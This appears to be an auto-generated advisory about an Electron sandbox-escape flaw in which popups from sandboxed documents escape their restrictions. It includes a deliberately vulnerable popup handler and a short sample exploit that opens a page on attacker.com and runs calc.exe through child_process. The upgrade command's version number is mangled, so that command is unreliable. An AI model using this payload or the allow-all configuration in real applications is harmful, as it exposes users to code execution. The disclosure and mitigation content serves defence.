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Electron is a framework for building cross-platform desktop applications using web technologies. This vulnerability allows windows opened from a sandboxed top-level document to escape their sandbox restrictions, potentially granting untrusted content full application privileges.
The core issue lies in how Electron handles the inheritance of HTML sandbox flags when a new window is created from a sandboxed context. When a document is loaded with the `sandbox` attribute, it restricts capabilities like script execution, form submission, and plugin loading. However, if that sandboxed document is permitted to open popups, the newly created window does not inherit the parent’s active sandbox restrictions. Instead, the child window defaults to the Electron application’s full origin context, effectively bypassing the intended security boundary.
This behavior creates a privilege escalation vector. An attacker who can inject malicious scripts into a sandboxed view could exploit this flaw to open a new window that operates with full application privileges. This allows the extraction of sensitive data, interaction with local file systems, and potentially the execution of arbitrary code via Node.js integrations if enabled. The severity is particularly high in applications that render untrusted content but rely on HTML sandboxes for isolation.
Applications that deny popups from untrusted content using `setWindowOpenHandler` are not affected, as they can enforce consistent security policies regardless of the parent document’s sandbox status. The fix involves correcting the inheritance logic to ensure sandbox flags are properly propagated to child windows.
DailyCVE Form:
Platform: Electron
Version: < 41.10.6
Vulnerability : Sandbox escape
Severity: High
date: Aug 28, 2026
Prediction: Sep 29, 2026
What Undercode Say:
Check Electron version npm list electron Verify if setWindowOpenHandler is implemented grep -r "setWindowOpenHandler" src/
// Example of vulnerable configuration
const win = new BrowserWindow({
webPreferences: {
sandbox: true
}
});
// Untrusted content can open a popup
win.webContents.setWindowOpenHandler(({ url }) => {
return { action: 'allow' }; // Vulnerable
});
Exploit: (Educational Purposes!)
<!-- Malicious content in a sandboxed document -->
<script>
// Attempt to open a new window that escapes sandbox
window.open('https://attacker.com/evil.html');
</script>
// The opened window runs with full origin privileges
// Attacker can now access Node.js APIs if integration is enabled
require('child_process').exec('calc.exe');
Protection: from this CVE
// Secure configuration
win.webContents.setWindowOpenHandler(({ url }) => {
// Deny all popups from untrusted content
return { action: 'deny' };
});
Upgrade Electron to patched version npm install [email protected]
Impact:
Windows opened from a sandboxed top-level document did not inherit that document’s HTML sandbox restrictions, allowing content that was meant to run sandboxed to open a window with the app’s full origin. Apps are only affected if they render untrusted content in a sandboxed top-level document that allows popups. Apps that deny popups from untrusted content with `setWindowOpenHandler` are not affected.
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Sources:
Reported By: github.com
Extra Source Hub:
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